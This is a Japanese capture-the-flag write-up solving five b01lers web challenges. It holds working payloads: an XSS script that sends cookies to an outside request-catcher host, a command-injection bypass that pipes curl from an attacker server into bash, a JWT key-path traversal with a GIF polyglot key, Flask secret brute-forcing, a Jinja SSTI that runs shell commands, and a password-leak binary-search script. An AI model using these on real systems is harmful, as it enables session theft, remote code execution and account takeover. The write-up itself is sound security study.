web/b01ler-ad
const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');
'"`
が使えない状態でXSSさせる問題。
それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。
<script src=//c748-194-180-179-191.ngrok-free.app/a.js></script>
こんな感じにして、ngrokで以下のようなものを公開しておけばrequest catcherの方にcookieが飛ぶ。
fetch('https://afsiwek32k45owoawe.requestcatcher.com/test', { method : 'post', body: document.cookie })
web/3-city-elves-writeups
os.system(f"bash -c \'echo \"{content}\" > {filename}\'")
のcontentに文字を入れ込んでコマンドインジェクションをして、/flag.png
を抜いてくる問題。
以下の文字が禁止されている。
"bin","base64","export","python3","export","ruby","perl","x","/","(",")""\\","rm","mv","chmod","chown","tar","gzip","bzip2","zip","find","grep","sed","awk","cat","less","more","head","tail","echo","printf","read","touch","ln","wget","curl","fetch","scp","rsync","sudo","ssh","nc","netcat","ping","traceroute","iptables","ufw","firewalld","crontab","ps","top","htop","du","df","free","uptime","kill","killall","nohup","jobs","bg","fg","watch","wc","sort","uniq","tee","diff","patch","mount","umount","lsblk","blkid","fdisk","parted","mkfs","fsck","dd","hdparm","lsmod","modprobe","lsusb","lspci","ip","ifconfig","route","netstat","ss","hostname","dnsdomainname","date","cal","who","w","last","history","alias","export","source","umask","pwd","cd","mkdir","rmdir","stat","file","chattr","lsof","ncdu","dmesg","journalctl","logrotate","systemctl","service","init","reboot","shutdown","poweroff","halt","systemd","update-alternatives","adduser","useradd","userdel","usermod","groupadd","groupdel","groupmod","passwd","chpasswd","userpasswd","su","visudo","chsh","chfn","getent","id","whoami","groups","quota","quotaon","quotacheck","scp","sftp","ftp","tftp","telnet","ssh-keygen","ssh-copy-id","ssh-add","ssh-agent","nmap","tcpdump","iftop","arp","arping","brctl","ethtool","iw","iwconfig","mtr","tracepath","fping","hping3","dig","nslookup","host","whois","ip","route","ifconfig","ss","iptables","firewalld","ufw","sysctl","uname","hostnamectl","timedatectl","losetup","eject","lvm","vgcreate","vgextend","vgreduce","vgremove","vgs","pvcreate","pvremove","pvresize","pvs","lvcreate","lvremove","lvresize","lvs","resize2fs","tune2fs","badblocks","udevadm","pgrep","pkill","atop","iotop","vmstat","sar","mpstat","nmon","finger","ac","journalctl","ls","dir","locate","updatedb","which","whereis","cut","paste","tr","comm","xargs","gunzip","bunzip2","unzip","xz","unxz","lzma","unlzma","7z","ar","cpio","pax","ftp","sftp","ftp","wget","curl","fetch","rsync","scp","ssh","openssl","gpg","pgp"
この制約で色々やると''
を使ったコマンド分割が有効であることが分かる。
ec''ho abc | cu''rl 34584921375821348972314.requestca''tcher.c''om --request PO''ST -d @-
が刺さった。
ここから死ぬほど試行錯誤して、最終的に以下で解いた。
conohaでいい感じにVMを借りてきて、80/tcpでwebサーバを立ち上げ、index.htmlを以下のようにしておく。
cp ../flag.png /app/assets/flag.png
つまり、そのまま持って来るのではなく、assetsに置くまでをコマンド実行する。
これはなぜかというと、flag.pngは14MBのクソデカフラグでいい感じに持って来るのがかなり大変であるためである。
これで適当にもらってきたIPアドレスを使って
`cu''rl [ipaddress] | ba''sh`
を実行する。これでindex.htmlの中身が実行されて、/flag.png
を/app/assets/flag.png
にコピーできる。
あとは、/static/flag.png
にアクセスしてフラグを回収する。
web/imagehost
フラグはadmin権限でログインできれば手に入る。
怪しい所を見ると、tokens.pyが怪しい。
def decode(token): headers = jwt.get_unverified_header(token) public_key = Path(headers["kid"]) if public_key.absolute().is_relative_to(Path.cwd()): key = public_key.read_bytes() return jwt.decode(jwt=token, key=key, algorithms=["RS256"]) else: return {}
kidを使って公開鍵を参照している。
試すとここはパストラバーサルできるので、任意のローカルの公開鍵を強制することができる。
他の部分を見るとアップロード機能がある。
async def upload(request): if "user_id" not in request.session: return PlainTextResponse("Not logged in", 401) async with request.form(max_files=1, max_fields=1) as form: if "image" not in form: return RedirectResponse("/?error=Missing+image", status_code=303) image = form["image"] if image.size > 2**16: return RedirectResponse("/?error=File+too+big", 303) try: img = Image.open(image.file) except Exception: return RedirectResponse("/?error=Invalid+file", 303) if image.filename is None or not image.filename.endswith( tuple(k for k, v in Image.EXTENSION.items() if v == img.format) ): return RedirectResponse("/?error=Invalid+filename", 303) await image.seek(0) filename = Path(image.filename).with_stem(str(uuid.uuid4())).name with UPLOAD_FOLDER.joinpath("a").with_name(filename).open("wb") as f: shutil.copyfileobj(image.file, f) async with request.app.state.pool.acquire() as conn: async with conn.cursor() as cursor: await cursor.execute( "INSERT INTO images(filename, user_id) VALUES (%s, %s)", (filename, request.session["user_id"]) ) return RedirectResponse("/", 303)
見るとアップロード物は画像としてpillowが判定する必要がある。
ということで、画像として読み込めて、public keyとしても使えるものをアップロードできれば良さそう。
openssl genrsa -out private_key.pem 4096 && openssl rsa -in private_key.pem -pubout -out public_key.pem
で使う鍵ペアを作って、小さいgif画像を用意し、cat small.gif public_key.pem > payload.gif
のようにくっつけてやればいい。
アップロードすると、
<img src="/view/11241632-ac26-4489-9faa-2a2c0dc60207.gif" />
のようにファイル名を教えてもらえるので、それとprivate keyを使ってjwtを作る。
import jwt token = jwt.encode( {"user_id": 1,"admin": True}, open('private_key.pem', 'rb').read(), algorithm="RS256", headers={"kid": "../uploads/11241632-ac26-4489-9faa-2a2c0dc60207.gif"}) print(token)
これのjwtを使えばフラグ入りの画像がもらえる。
web/pwnhub
app.secret_key = hex(getrandbits(20))
とあり、鍵が弱すぎる。
>>> hex(getrandbits(20)) '0xd1a52' >>> hex(getrandbits(20)) '0x3da82'
全探索できますね。
.eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM
これを解析する。 以下のように辞書を作って
for i in range(0x100000): print(hex(i))
以下のように解析。
$ flask-unsign -c ".eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM" --unsign --wordlist ./dic.txt --no-literal-eval [*] Session decodes to: {'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'evilman'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 769664 attempts b'0xbbe18'
鍵が分かったので作り直す。
$ flask-unsign --sign --secret '0xbbe18' --cookie "{'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'admin'}" --no-literal-eval .eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.Zhtxag.glcjdVQTDK2M1VN8RBh2OtOUuR8
これでadminログインはできた。
後は、SSTIできる箇所があるので、フィルターを回避しながら頑張る。
postを作る所を見ると、
@app.post('/createpost', endpoint='createpost_post') @login_required def createpost(): not None content = request.form.get('content') post_id = sha256((current_user.name+content).encode()).hexdigest() if any(char in content for char in INVALID): return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected' ) current_user.posts.append({str(post_id): content}) if len(content) > 20: return render_template('createpost.html', message=None, error='Content too long!', post=None) return render_template('createpost.html', message=f'Post successfully created, view it at /view/{post_id}', error=None)
のように入れてから文字数判定をしているので、エラーが出ても無視してポストを作成できる。
表示させるときは以下のようになっている。
@app.get('/view/<id>') @login_required def view(id): if (users[current_user.name].verification != V.admin): return render_template_string('This feature is still in development, please come back later.') content = next((post for post in current_user.posts if id in post), None) if not content: return render_template_string('Post not found') content = content.get(id, '') if any(char in content for char in INVALID): return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected') return render_template_string(f"Post contents here: {content[:250]}")
文字数の上限は実質250文字。
それよりもINVALIDによる文字制限が厳しい。
INVALID = ["{{", "}}", ".", "_", "[", "]","\\", "x"]
これを使わずにSSTIする。
とりあえず{% print config %}
が動くのは確認できたので、/flag.txt
を何とかとって来る。
頭を打ち付けて以下のような感じでフラグが得られた。
ベースは一瞬でできていたが、変な回り道をしてしまった。
import requests from hashlib import sha256 import html BASE = 'http://pwnhub.hammer.b01le.rs/' session = '.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.ZhtTiQ.wi4Exyx1Z8qVmt6BBpWhSkpE28g' payload = "{% print lipsum | attr(request|attr('referrer')) | attr(request|attr('mimetype'))('os') | attr('popen')('cat /flag*')|attr('read')() %}" requests.post(BASE + 'createpost', cookies={'session':session}, data={'content':payload}) post_id = sha256(('admin'+payload).encode()).hexdigest() t = requests.get(BASE + 'view/' + post_id, cookies={'session':session}, headers={ 'Referer': '__globals__', 'Content-Type': '__getitem__' }).text print(post_id) print(html.unescape(t))
web/b01lers_casino
怪しい所がないか探すと、ソート条件にpasswordが使われている変な部分が目に付く。
def fetchScoreboard(): conn = sqlite3.connect("casino.db") cur = conn.cursor() cur.execute("SELECT fullname, password, balance, username FROM casino") scoreboard = cur.fetchall() # Convert list of tuples to list of dictionaries scoreboard_dicts = [] admin_password = "" for row in scoreboard: fullname = row[0] if row[3] == "admin": admin_password = row[1] scoreboard_dicts.append({ 'fullname': fullname, 'password': row[1], 'balance': row[2] }) # Sorting list of dictionaries scoreboard_sorted = sorted(scoreboard_dicts, key=lambda x: (x['balance'], x['fullname'], x['password']), reverse=True) print(f"Admin password is {admin_password}") for i in range (len(scoreboard_sorted)): print(scoreboard_sorted[i]) if scoreboard_sorted[i]['password'] == admin_password: scoreboard_sorted[i]['fullname'] = "The Real Captain Baccarat" return scoreboard_sorted
adminの(balance, fullname, password)
は(1000000, "Captain Baccarat", admin_password)
という感じ。
passwordの比較まで回すためには、balance, fullnameを一致させる必要がある。
fullnameは重複できるので、同じものを登録できる。
問題はbalanceで初期状態は500。
何処かで変えられないかなーと見てみるとPOST /slots
で変更可能。
パスワードもPOST /update_password
で帰れるのでOK。二分探索とかをうまく使いながらadmin_passwordを特定する材料が揃った。
ということで以下のような二分探索コードでフラグが得られる。
import requests import json s = requests.Session() BASE = 'https://boilerscasino-4ecd9eb8f0d2c3cb.instancer.b01lersc.tf/' s.post(BASE + 'register', json={ "fullname":"Captain Baccarat", "username":"evilman", "password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559" }, verify=False) t = s.post(BASE + 'login', json={"username":"evilman","password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"}, verify=False).text s.cookies["jwt"] = json.loads(t)['jwt'] s.post(BASE + 'slots', json={"change":999500}, verify=False) lo = 0x0000000000000000000000000000000000000000000000000000000000000000 hi = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff while lo + 1 != hi: md = (lo + hi) // 2 p = '{:064x}'.format(md) s.post(BASE + 'update_password', json={"new_password":p}, verify=False) t = s.get(BASE + 'scoreboard', verify=False).text me = t.index('Captain Baccarat') you = t.index('The Real Captain Baccarat') if me < you: hi = md else: lo = md print(lo) print(hi) for admin_password in [lo, hi]: ss = requests.Session() t = ss.post(BASE + 'login', json={"username":"admin","password":'{:064x}'.format(admin_password)}, verify=False).text if 'jwt' not in t: continue ss.cookies["jwt"] = json.loads(t)['jwt'] print(ss.get(BASE + 'grab_flag').text)